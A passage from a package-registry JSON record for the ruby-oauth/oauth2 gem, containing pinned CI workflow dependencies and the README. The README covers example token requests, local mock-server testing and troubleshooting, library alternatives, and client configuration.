","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/scorecard-analysis.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.874Z","updated_at":"2026-08-14T22:37:43.874Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/scorecard-analysis.yml","dependencies":[{"id":26136086179,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"bf7454d06d71f1098171f2acdf0cd4708d7b5920","direct":true,"kind":"composite","optional":false},{"id":26136086180,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086181,"package_name":"ossf/scorecard-action","ecosystem":"actions","requirements":"4eaacf0543bb3f2c246792bd56e8cdeffafb205a","direct":true,"kind":"composite","optional":false},{"id":26136086182,"package_name":"github/codeql-action/upload-sarif","ecosystem":"actions","requirements":"99df26d4f13ea111d4ec1a7dddef6063f76b97e9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/templating.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.934Z","updated_at":"2026-08-14T22:37:43.934Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/templating.yml","dependencies":[{"id":26136086183,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086184,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffle.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.983Z","updated_at":"2026-08-14T22:37:43.983Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffle.yml","dependencies":[{"id":26136086185,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086186,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffleruby-23.1.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:44.130Z","updated_at":"2026-08-14T22:37:44.130Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffleruby-23.1.yml","dependencies":[{"id":26136086191,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086192,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/jruby-9.2.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.195Z","updated_at":"2026-08-14T22:37:43.195Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/jruby-9.2.yml","dependencies":[{"id":26136086155,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086156,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/jruby-9.3.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.248Z","updated_at":"2026-08-14T22:37:43.248Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/jruby-9.3.yml","dependencies":[{"id":26136086157,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086158,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/jruby-9.4.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.299Z","updated_at":"2026-08-14T22:37:43.299Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/jruby-9.4.yml","dependencies":[{"id":26136086159,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086160,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-3.0.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.612Z","updated_at":"2026-08-14T22:37:43.612Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-3.0.yml","dependencies":[{"id":26136086169,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086170,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-3.2.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.716Z","updated_at":"2026-08-14T22:37:43.716Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-3.2.yml","dependencies":[{"id":26136086173,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086174,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]}],"score":34.02213240815019,"created_at":"2025-05-24T00:01:07.764Z","updated_at":"2026-08-17T10:30:33.693Z","avatar_url":"https://github.com/ruby-oauth.png","language":"Ruby","monthly_downloads":0,"readme":"\u003ca href=\"https://github.com/ruby-oauth\"\u003e\u003cimg alt=\"ruby-oauth Logo by Aboling0, CC BY-SA 4.0\" src=\"https://logos.galtzo.com/assets/images/ruby-oauth/avatar-128px.svg\" width=\"14%\" align=\"right\"/\u003e\u003c/a\u003e\n\n# 🔐 OAuth2\n\n[![Version][👽versioni]][👽version] [![GitHub tag (latest SemVer)][⛳️tag-img]][⛳️tag] [![License: MIT][📄license-img]][📄license] [![Downloads Rank][👽dl-ranki]][👽dl-rank] [![CodeCov Test Coverage][🏀codecovi]][🏀codecov] [![Coveralls Test Coverage][🏀coveralls-img]][🏀coveralls] [![QLTY Test Coverage][🏀qlty-covi]][🏀qlty-cov] [![QLTY Maintainability][🏀qlty-mnti]][🏀qlty-mnt] [![CI Heads][🚎3-hd-wfi]][🚎3-hd-wf] [![CI Runtime Dependencies @ HEAD][🚎12-crh-wfi]][🚎12-crh-wf] [![CI Current][🚎11-c-wfi]][🚎11-c-wf] [![CI Truffle Ruby][🚎9-t-wfi]][🚎9-t-wf] [![CI JRuby][🚎10-j-wfi]][🚎10-j-wf] [![Deps Locked][🚎13-🔒️-wfi]][🚎13-🔒️-wf] [![Deps Unlocked][🚎14-🔓️-wfi]][🚎14-🔓️-wf] [![CI Test Coverage][🚎2-cov-wfi]][🚎2-cov-wf] [![CI Style][🚎5-st-wfi]][🚎5-st-wf] [![Apache SkyWalking Eyes License Compatibility Check][🚎15-🪪-wfi]][🚎15-🪪-wf]\n\n`if ci_badges.map(\u0026:color).detect { it != \"green\"}` ☝️ [let me know][✉️discord-invite], as I may have missed the [discord notification][✉️discord-invite].\n\n---\n\n`if ci_badges.map(\u0026:color).all? { it == \"green\"}` 👇️ send money so I can do more of this. FLOSS maintenance is now my full-time job.\n\n[![OpenCollective Backers][🖇osc-backers-i]][🖇osc-backers] [![OpenCollective Sponsors][🖇osc-sponsors-i]][🖇osc-sponsors] [![Sponsor Me on Github][🖇sponsor-img]][🖇sponsor] [![Liberapay Goal Progress][⛳liberapay-img]][⛳liberapay] [![Donate on PayPal][🖇paypal-img]][🖇paypal] [![Buy me a coffee][🖇buyme-small-img]][🖇buyme] [![Donate at ko-fi.com][🖇kofi-img]][🖇kofi]\n\n\u003cdetails markdown=\"1\"\u003e\n \u003csummary\u003e👣 How will this project approach the September 2025 hostile takeover of RubyGems? 🚑️\u003c/summary\u003e\n\nI've summarized my thoughts in [this blog post](https://dev.to/galtzo/hostile-takeover-of-rubygems-my-thoughts-5hlo).\n\n\u003c/details\u003e\n\n## 🌻 Synopsis \u003ca href=\"https://discord.gg/3qme4XHNKN\"\u003e\u003cimg alt=\"Galtzo FLOSS Logo by Aboling0, CC BY-SA 4.0\" src=\"https://logos.galtzo.com/assets/images/galtzo-floss/avatar-128px.svg\" width=\"8%\" align=\"right\"/\u003e\u003c/a\u003e \u003ca href=\"https://ruby-toolbox.com\"\u003e\u003cimg alt=\"ruby-lang Logo, Yukihiro Matsumoto, Ruby Visual Identity Team, CC BY-SA 2.5\" src=\"https://logos.galtzo.com/assets/images/ruby-lang/avatar-128px.svg\" width=\"8%\" align=\"right\"/\u003e\u003c/a\u003e\n\nOAuth 2.0 is the industry-standard protocol for authorization.\nThis is a RubyGem for implementing OAuth 2.0 clients (not servers) in Ruby applications.\n\n⭐️ including OAuth 2.1 draft spec \u0026 OpenID Connect (OIDC)\n\n### Quick Examples\n\n\u003cdetails markdown=\"1\"\u003e\n  \u003csummary\u003eConvert the following `curl` command into a token request using this gem...\u003c/summary\u003e\n\n```shell\ncurl --request POST \\\n  --url 'https://login.microsoftonline.com/REDMOND_REDACTED/oauth2/token' \\\n  --header 'content-type: application/x-www-form-urlencoded' \\\n  --data grant_type=client_credentials \\\n  --data client_id=REDMOND_CLIENT_ID \\\n  --data client_secret=REDMOND_CLIENT_SECRET \\\n  --data resource=REDMOND_RESOURCE_UUID\n```\n\nNOTE: In the ruby version below, certain params are passed to the `get_token` call, instead of the client creation.\n\n```ruby\nclient = OAuth2::Client.new(\n  \"REDMOND_CLIENT_ID\", # client_id\n  \"REDMOND_CLIENT_SECRET\", # client_secret\n  auth_scheme: :request_body, # Other modes are supported: :basic_auth, :tls_client_auth, :private_key_jwt\n  token_url: \"oauth2/token\", # relative path, except with leading `/`, then absolute path\n  site: \"https://login.microsoftonline.com/REDMOND_REDACTED\"\n)\nclient.\n  client_credentials. # There are many other types to choose from!\n  get_token(resource: \"REDMOND_RESOURCE_UUID\")\n```\n\nNOTE: `header` - The content type specified in the `curl` is already the default!\n\n\u003c/details\u003e\n\n\u003cdetails markdown=\"1\"\u003e\n\u003csummary\u003eComplete E2E single file script against mock-oauth2-server\u003c/summary\u003e\n\n- E2E example uses [navikt/mock-oauth2-server](https://github.com/navikt/mock-oauth2-server), which was added in v2.0.11\n- E2E example does not ship with the released gem, so clone the source to play with it.\n\n```console\ndocker compose -f docker-compose-ssl.yml up -d --wait\nruby examples/e2e.rb\n# If your machine is slow or Docker pulls are cold, increase the wait:\nE2E_WAIT_TIMEOUT=120 ruby examples/e2e.rb\n# The mock server serves HTTP on 8080; the example points to http://localhost:8080 by default.\n```\n\nThe output should be something like this:\n\n```console\n➜  ruby examples/e2e.rb\nAccess token (truncated): eyJraWQiOiJkZWZhdWx0...\nuserinfo status: 200\nuserinfo body: {\"sub\" =\u003e \"demo-sub\", \"aud\" =\u003e [\"demo-aud\"], \"nbf\" =\u003e 1757816758000, \"iss\" =\u003e \"http://localhost:8080/default\", \"exp\" =\u003e 1757820358000, \"iat\" =\u003e 1757816758000, \"jti\" =\u003e \"d63b97a7-ebe5-4dea-93e6-d542caba6104\"}\nE2E complete\n```\n\nMake sure to shut down the mock server when you are done:\n\n```console\ndocker compose -f docker-compose-ssl.yml down\n```\n\nTroubleshooting: validate connectivity to the mock server\n\n- Check container status and port mapping:\n    - `docker compose -f docker-compose-ssl.yml ps`\n- From the host, try the discovery URL directly (this is what the example uses by default):\n    - `curl -v http://localhost:8080/default/.well-known/openid-configuration`\n    - If that fails immediately, also try: `curl -v --connect-timeout 2 http://127.0.0.1:8080/default/.well-known/openid-configuration`\n- From inside the container (to distinguish container vs. host networking):\n    - `docker exec -it oauth2-mock-oauth2-server-1 curl -v http://127.0.0.1:8080/default/.well-known/openid-configuration`\n- Simple TCP probe from the host:\n    - `nc -vz localhost 8080  # or: ruby -rsocket -e 'TCPSocket.new(\"localhost\",8080).close; puts \"tcp ok\"'`\n- Inspect which host port 8080 is bound to (should be 8080):\n    - `docker inspect -f '{{ (index (index .NetworkSettings.Ports \"8080/tcp\") 0).HostPort }}' oauth2-mock-oauth2-server-1`\n- Look at server logs for readiness/errors:\n    - `docker logs -n 200 oauth2-mock-oauth2-server-1`\n- On Linux, ensure nothing else is bound to 8080 and that firewall/SELinux aren’t blocking:\n    - `ss -ltnp | grep :8080`\n\nNotes\n\n- Discovery URL pattern is: `http://localhost:8080/\u003crealm\u003e/.well-known/openid-configuration`, where `\u003crealm\u003e` defaults to `default`.\n- You can change these with env vars when running the example:\n    - `E2E_ISSUER_BASE` (default: http://localhost:8080)\n    - `E2E_REALM` (default: default)\n\n\u003c/details\u003e\n\n### Alternatives\n\nThis gem is a low-level OAuth 2.0 **client** (it talks _to_ an authorization server to obtain and use tokens).\nIf that isn't quite what you need, one of the following libraries may be a better fit (the first row is this gem for comparison):\n\n| Library                                                           | Role                                     | When to use it                                                                                                                                                                                                       |\n|-------------------------------------------------------------------|------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| **this gem** ([oauth2][📜src-gh])                                 | OAuth 2.0 / 2.1 + OIDC **client**        | You are calling an OAuth 2.0 API, or signing in against a provider, and want a small, dependency-light, spec-faithful client with fine-grained control over the request/response cycle.                              |\n| [oauth2-mcp][sibling-mcp-gem]                                     | OAuth 2.1 MCP Auth client **and** server | Focused, spec-faithful, MCP Auth client with fine-grained control over the request/response cycle. Rack/Roda compatible clients and servers. Built on top of this gem, [oauth2][📜src-gh].                           |\n| [omniauth][omniauth-gem] + [omniauth-oauth2][omniauth-oauth2-gem] | \"Log in with…\" **client** (Rack)         | You primarily want user _authentication_ (\"Log in with GitHub/GitLab/Google\") wired into a Rack/Rails app via a strategy, rather than driving the token flow yourself. Built on top of this gem, [oauth2][📜src-gh]. |\n| [openid_connect][openid-connect-gem]                              | OpenID Connect client \u0026 server           | You need full [OpenID Connect][oidc-spec] (ID-token validation, discovery, userinfo, etc.) with batteries included. Maintained by [@nov][nov].                                                                       |\n| [rack-oauth2][rack-oauth2-gem]                                    | OAuth 2.0 client **and** server          | You want lower-level Rack primitives, need both client and server pieces, or are building on top of `openid_connect`. Maintained by [@nov][nov].                                                                     |\n| [doorkeeper][doorkeeper-gem]                                      | OAuth 2.0 **server / provider**          | You want to _be_ the authorization server — issuing tokens to other apps — in a Rails/Grape/Sinatra application, rather than acting as a client.                                                                     |\n| [oauth][sibling-gem]                                              | OAuth **1.0a** client \u0026 server           | The provider you integrate with only speaks the older OAuth 1.0a protocol. This is our sibling gem.                                                                                                                  |\n\nSee also the [OAuth 2.0 Spec][oauth2-spec], the [OpenID Connect Spec][oidc-spec], and the [MCP Auth Spec][mcp-auth-spec].\n\n[oauth2-spec]: https://oauth.net/2/\n[oidc-spec]: https://openid.net/specs/openid-connect-core-1_0.html\n[mcp-auth-spec]: https://modelcontextprotocol.io/specification/draft/basic/authorization\n[sibling-gem]: https://gitlab.com/ruby-oauth/oauth\n[sibling-mcp-gem]: https://github.com/ruby-oauth/oauth2-mcp\n[doorkeeper-gem]: https://github.com/doorkeeper-gem/doorkeeper\n[omniauth-gem]: https://github.com/omniauth/omniauth\n[omniauth-oauth2-gem]: https://github.com/omniauth/omniauth-oauth2\n[openid-connect-gem]: https://github.com/nov/openid_connect\n[rack-oauth2-gem]: https://github.com/nov/rack-oauth2\n[nov]: https://github.com/nov\n\n## 💡 Info you can shake a stick at\n\n| Tokens to Remember | [![Gem name][⛳️name-img]][⛳️gem-name] [![Gem namespace][⛳️namespace-img]][⛳️gem-namespace] |\n|-------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Works with JRuby | [![JRuby 9.2 Compat][💎jruby-9.2i]][🚎jruby-9.2-wf] [![JRuby 9.3 Compat][💎jruby-9.3i]][🚎jruby-9.3-wf] \u003cbr/\u003e [![JRuby 9.4 Compat][💎jruby-9.4i]][🚎jruby-9.4-wf] [![JRuby 10.0 Compat][💎jruby-10.0i]][🚎jruby-10.0-wf] [![JRuby current Compat][💎jruby-c-i]][🚎10-j-wf] [![JRuby HEAD Compat][💎jruby-headi]][🚎3-hd-wf]|\n| Works with Truffle Ruby | [![Truffle Ruby 22.3 Compat][💎truby-22.3i]][🚎truby-22.3-wf] [![Truffle Ruby 23.0 Compat][💎truby-23.0i]][🚎truby-23.0-wf] [![Truffle Ruby 23.1 Compat][💎truby-23.1i]][🚎truby-23.1-wf] \u003cbr/\u003e [![Truffle Ruby 24.2 Compat][💎truby-24.2i]][🚎truby-24.2-wf] [![Truffle Ruby 25.0 Compat][💎truby-25.0i]][🚎truby-25.0-wf] [![Truffle Ruby 33.0 Compat][💎truby-33.0i]][🚎truby-33.0-wf] [![Truffle Ruby current Compat][💎truby-c-i]][🚎9-t-wf] [![Truffle Ruby HEAD Compat][💎truby-headi]][🚎3-hd-wf]|\n| Works with MRI Ruby 4 | [![Ruby current Compat][💎ruby-c-i]][🚎11-c-wf] [![Ruby HEAD Compat][💎ruby-headi]][🚎3-hd-wf]|\n| Works with MRI Ruby 3 | [![Ruby 3.0 Compat][💎ruby-3.0i]][🚎ruby-3.0-wf] [![Ruby 3.1 Compat][💎ruby-3.1i]][🚎ruby-3.1-wf] [![Ruby 3.2 Compat][💎ruby-3.2i]][🚎ruby-3.2-wf] [![Ruby 3.3 Compat][💎ruby-3.3i]][🚎ruby-3.3-wf] [![Ruby 3.4 Compat][💎ruby-3.4i]][🚎ruby-3.4-wf]|\n| Works with MRI Ruby 2 | ![Ruby 2.2 Compat][💎ruby-2.2i] ![Ruby 2.3 Compat][💎ruby-2.3i] \u003cbr/\u003e [![Ruby 2.4 Compat][💎ruby-2.4i]][🚎ruby-2.4-wf] [![Ruby 2.5 Compat][💎ruby-2.5i]][🚎ruby-2.5-wf] [![Ruby 2.6 Compat][💎ruby-2.6i]][🚎ruby-2.6-wf] [![Ruby 2.7 Compat][💎ruby-2.7i]][🚎ruby-2.7-wf]|\n| Support \u0026 Community | [![Join Me on Daily.dev's RubyFriends][✉️ruby-friends-img]][✉️ruby-friends] [![Live Chat on Discord][✉️discord-invite-img-ftb]][✉️discord-invite] [![Get help from me on Upwork][👨🏼‍🏫expsup-upwork-img]][👨🏼‍🏫expsup-upwork] [![Get help from me on Codementor][👨🏼‍🏫expsup-codementor-img]][👨🏼‍🏫expsup-codementor] |\n| Source | [![Source on GitLab.com][📜src-gl-img]][📜src-gl] [![Source on CodeBerg.org][📜src-cb-img]][📜src-cb] [![Source on Github.com][📜src-gh-img]][📜src-gh] [![The best SHA: dQw4w9WgXcQ!][🧮kloc-img]][🧮kloc] |\n| Documentation | [![Current release on RubyDoc.info][📜docs-cr-rd-img]][🚎yard-current] [![YARD on Galtzo.com][📜docs-head-rd-img]][🚎yard-head] [![Maintainer Blog][🚂maint-blog-img]][🚂maint-blog] [![GitLab Wiki][📜gl-wiki-img]][📜gl-wiki] [![GitHub Wiki][📜gh-wiki-img]][📜gh-wiki] |\n| Compliance | [![License: MIT][📄license-img]][📄license] [![Apache license compatibility: Category A][📄license-compat-img]][📄license-compat] [![📄ilo-declaration-img]][📄ilo-declaration] [![Security Policy][🔐security-img]][🔐security] [![Contributor Covenant 2.1][🪇conduct-img]][🪇conduct] [![SemVer 2.0.0][📌semver-img]][📌semver] |\n| Style | [![Enforced Code Style Linter][💎rlts-img]][💎rlts] [![Keep-A-Changelog 1.0.0][📗keep-changelog-img]][📗keep-changelog] [![Gitmoji Commits][📌gitmoji-img]][📌gitmoji] [![Compatibility appraised by: appraisal2][💎appraisal2-img]][💎appraisal2] |\n| Maintainer 🎖️ | [![Follow Me on LinkedIn][💖🖇linkedin-img]][💖🖇linkedin] [![Follow Me on Ruby.Social][💖🐘ruby-mast-img]][💖🐘ruby-mast] [![Follow Me on Bluesky][💖🦋bluesky-img]][💖🦋bluesky] [![Contact Maintainer][🚂maint-contact-img]][🚂maint-contact] [![My technical writing][💖💁🏼‍♂️devto-img]][💖💁🏼‍♂️devto] |\n| `...` 💖 | [![Find Me on WellFound:][💖✌️wellfound-img]][💖✌️wellfound] [![Find Me on CrunchBase][💖💲crunchbase-img]][💖💲crunchbase] [![My LinkTree][💖🌳linktree-img]][💖🌳linktree] [![More About Me][💖💁🏼‍♂️aboutme-img]][💖💁🏼‍♂️aboutme] [🧊][💖🧊berg] [🐙][💖🐙hub] [🛖][💖🛖hut] [🧪][💖🧪lab] |\n\n### Compatibility\n\nCompatible with MRI Ruby 2.2.0+, and concordant releases of JRuby, and TruffleRuby.\nCI workflows and Appraisals are generated for MRI Ruby 2.4+.\nThis test floor is configured by `ruby.test_minimum` in `.kettle-jem.yml` and\nmay be higher than the gem's runtime compatibility floor when legacy Rubies are\nnot practical for the current toolchain.\n\n\u003ca href=\"https://github.com/kettle-dev\"\u003e\u003cimg alt=\"kettle-dev Logo by Aboling0, CC BY-SA 4.0\" src=\"https://logos.galtzo.com/assets/images/kettle-dev/avatar-128px.svg\" width=\"14%\" align=\"right\"/\u003e\u003c/a\u003e\n\nThe _amazing_ test matrix is powered by the kettle-dev stack.\n\n\u003cdetails markdown=\"1\"\u003e\n\u003csummary\u003eHow kettle-dev manages complexity in tests\u003c/summary\u003e\n\n| Gem | Source | Role | Daily download rank |\n|-----|--------|------|---------------------|\n| [appraisal2](https://bestgems.org/gems/appraisal2) | [GitHub](https://github.com/appraisal-rb/appraisal2) | multi-dependency Appraisal matrix generation | [![Daily download rank for appraisal2](https://img.shields.io/gem/rd/appraisal2.svg?style=flat-square)](https://bestgems.org/gems/appraisal2) |\n| [appraisal2-rubocop](https://bestgems.org/gems/appraisal2-rubocop) | [GitHub](https://github.com/appraisal-rb/appraisal2-rubocop) | RuboCop Appraisal generator integration | [![Daily download rank for appraisal2-rubocop](https://img.shields.io/gem/rd/appraisal2-rubocop.svg?style=flat-square)](https://bestgems.org/gems/appraisal2-rubocop) |\n| [kettle-dev](https://bestgems.org/gems/kettle-dev) | [GitHub](https://github.com/kettle-dev/kettle-dev) | development, release, and CI workflow tooling | [![Daily download rank for kettle-dev](https://img.shields.io/gem/rd/kettle-dev.svg?style=flat-square)](https://bestgems.org/gems/kettle-dev) |\n| [kettle-jem](https://bestgems.org/gems/kettle-jem) | [GitHub](https://github.com/kettle-dev/kettle-jem) | Appraisals \u0026 CI workflow templates | [![Daily download rank for kettle-jem](https://img.shields.io/gem/rd/kettle-jem.svg?style=flat-square)](https://bestgems.org/gems/kettle-jem) |\n| [kettle-soup-cover](https://bestgems.org/gems/kettle-soup-cover) | [GitHub](https://github.com/kettle-dev/kettle-soup-cover) | SimpleCov coverage policy and reporting | [![Daily download rank for kettle-soup-cover](https://img.shields.io/gem/rd/kettle-soup-cover.svg?style=flat-square)](https://bestgems.org/gems/kettle-soup-cover) |\n| [kettle-test](https://bestgems.org/gems/kettle-test) | [GitHub](https://github.com/kettle-dev/kettle-test) | standard test runner and coverage harness | [![Daily download rank for kettle-test](https://img.shields.io/gem/rd/kettle-test.svg?style=flat-square)](https://bestgems.org/gems/kettle-test) |\n| [rubocop-lts](https://bestgems.org/gems/rubocop-lts) | [GitHub](https://github.com/rubocop-lts/rubocop-lts) | Ruby-version-aware linting | [![Daily download rank for rubocop-lts](https://img.shields.io/gem/rd/rubocop-lts.svg?style=flat-square)](https://bestgems.org/gems/rubocop-lts) |\n| [turbo_tests2](https://bestgems.org/gems/turbo_tests2) | [GitHub](https://github.com/galtzo-floss/turbo_tests2) | parallel test execution | [![Daily download rank for turbo_tests2](https://img.shields.io/gem/rd/turbo_tests2.svg?style=flat-square)](https://bestgems.org/gems/turbo_tests2) |\n\n\u003c/details\u003e\n\n### Federated DVCS\n\n\u003cdetails markdown=\"1\"\u003e\n \u003csummary\u003eFind this repo on federated forges (Coming soon!)\u003c/summary\u003e\n\n| Federated [DVCS][💎d-in-dvcs] Repository | Status | Issues | PRs | Wiki | CI | Discussions |\n|-------------------------------------------------|-----------------------------------------------------------------------|---------------------------|--------------------------|---------------------------|--------------------------|------------------------------|\n| 🧪 [ruby-oauth/oauth2 on GitLab][📜src-gl] | The Truth | [💚][🤝gl-issues] | [💚][🤝gl-pulls] | [💚][📜gl-wiki] | 🐭 Tiny Matrix | ➖ |\n| 🧊 [ruby-oauth/oauth2 on CodeBerg][📜src-cb] | An Ethical Mirror ([Donate][🤝cb-donate]) | [💚][🤝cb-issues] | [💚][🤝cb-pulls] | ➖ | ⭕️ No Matrix | ➖ |\n| 🐙 [ruby-oauth/oauth2 on GitHub][📜src-gh] | Another Mirror | [💚][🤝gh-issues] | [💚][🤝gh-pulls] | [💚][📜gh-wiki] | 💯 Full Matrix | [💚][gh-discussions] |\n| 🎮️ [Discord Server][✉️discord-invite] | [![Live Chat on Discord][✉️discord-invite-img-ftb]][✉️discord-invite] | [Let's][✉️discord-invite] | [talk][✉️discord-invite] | [about][✉️discord-invite] | [this][✉️discord-invite] | [library!][✉️discord-invite] |\n\n\u003c/details\u003e\n\n[gh-discussions]: https://github.com/ruby-oauth/oauth2/discussions\n\n### Enterprise Support [![Tidelift](https://tidelift.com/badges/package/rubygems/oauth2)](https://tidelift.com/subscription/pkg/rubygems-oauth2?utm_source=rubygems-oauth2\u0026utm_medium=referral\u0026utm_campaign=readme)\n\nAvailable as part of the Tidelift Subscription.\n\n\u003cdetails markdown=\"1\"\u003e\n \u003csummary\u003eNeed enterprise-level guarantees?\u003c/summary\u003e\n\nThe maintainers of this and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source packages you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact packages you use.\n\n[![Get help from me on Tidelift][🏙️entsup-tidelift-img]][🏙️entsup-tidelift]\n\n- 💡Subscribe for support guarantees covering _all_ your FLOSS dependencies\n- 💡Tidelift is part of [Sonar][🏙️entsup-tidelift-sonar]\n- 💡Tidelift pays maintainers to maintain the software you depend on!\u003cbr/\u003e📊`@`Pointy Haired Boss: An [enterprise support][🏙️entsup-tidelift] subscription is \"[never gonna let you down][🧮kloc]\", and *supports* open source maintainers\n\nAlternatively:\n\n- [![Live Chat on Discord][✉️discord-invite-img-ftb]][✉️discord-invite]\n- [![Get help from me on Upwork][👨🏼‍🏫expsup-upwork-img]][👨🏼‍🏫expsup-upwork]\n- [![Get help from me on Codementor][👨🏼‍🏫expsup-codementor-img]][👨🏼‍🏫expsup-codementor]\n\n\u003c/details\u003e\n\n## ✨ Installation\n\nInstall the gem and add to the application's Gemfile by executing:\n\n```console\nbundle add oauth2\n```\n\nIf bundler is not being used to manage dependencies, install the gem by executing:\n\n```console\ngem install oauth2\n```\n\n## ⚙️ Configuration\n\nGlobal settings for the library:\n\n```ruby\nOAuth2.configure do |config|\n  config.silence_extra_tokens_warning = false # default: true\n  config.silence_no_tokens_warning = false    # default: true\nend\n```\n\nFiltering-related settings:\n\n```ruby\nOAuth2.configure do |config|\n  config.filtered_label = \"[REDACTED]\" # default: \"[FILTERED]\"\n  config.filtered_debug_keys += [\"client_assertion\"]\nend\n```\n\n- `filtered_label` controls the placeholder used when sensitive values are filtered from inspected objects and debug logging output.\n- `filtered_debug_keys` controls which key names have their values redacted from debug logging output when `OAUTH_DEBUG=true`.\n- Debug logging remains opt-in and should still be used cautiously in production environments.\n\n## 🔧 Basic Usage\n\n### Client Initialization Options\n\n`OAuth2::Client.new` accepts several options:\n\n- `:site`: The base URL for the OAuth 2.0 provider.\n- `:authorize_url`: The authorization endpoint (default: `\"oauth/authorize\"`).\n- `:token_url`: The token endpoint (default: `\"oauth/token\"`).\n- `:auth_scheme`: The authentication scheme (`:basic_auth`, `:request_body`, `:tls_client_auth`, `:private_key_jwt`). Default is `:basic_auth`.\n- `:connection_opts`: Options for the underlying Faraday connection (timeouts, proxy, etc.).\n- `:raise_errors`: Whether to raise `OAuth2::Error` on 400+ responses (default: `true`).\n\n\u003cdetails markdown=\"1\"\u003e\n  \u003csummary\u003e\u003cem\u003eauthorize_url\u003c/em\u003e and \u003cem\u003etoken_url\u003c/em\u003e\u003c/summary\u003e\n\n### `authorize_url` and `token_url` are on site root (Just Works!)\n\n```ruby\nrequire \"oauth2\"\nclient = OAuth2::Client.new(\"client_id\", \"client_secret\", site: \"https://example.org\")\n# =\u003e #\u003cOAuth2::Client:0x00000001204c8288 @id=\"client_id\", @secret=\"client_sec...\nclient.auth_code.authorize_url(redirect_uri: \"http://localhost:8080/oauth2/callback\")\n# =\u003e \"https://example.org/oauth/authorize?client_id=client_id\u0026redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth2%2Fcallback\u0026response_type=code\"\n\naccess = client.auth_code.get_token(\"authorization_code_value\", redirect_uri: \"http://localhost:8080/oauth2/callback\", headers: {\"Authorization\" =\u003e \"Basic some_password\"})\nresponse = access.get(\"/api/resource\", params: {\"query_foo\" =\u003e \"bar\"})\nresponse.class.name\n# =\u003e 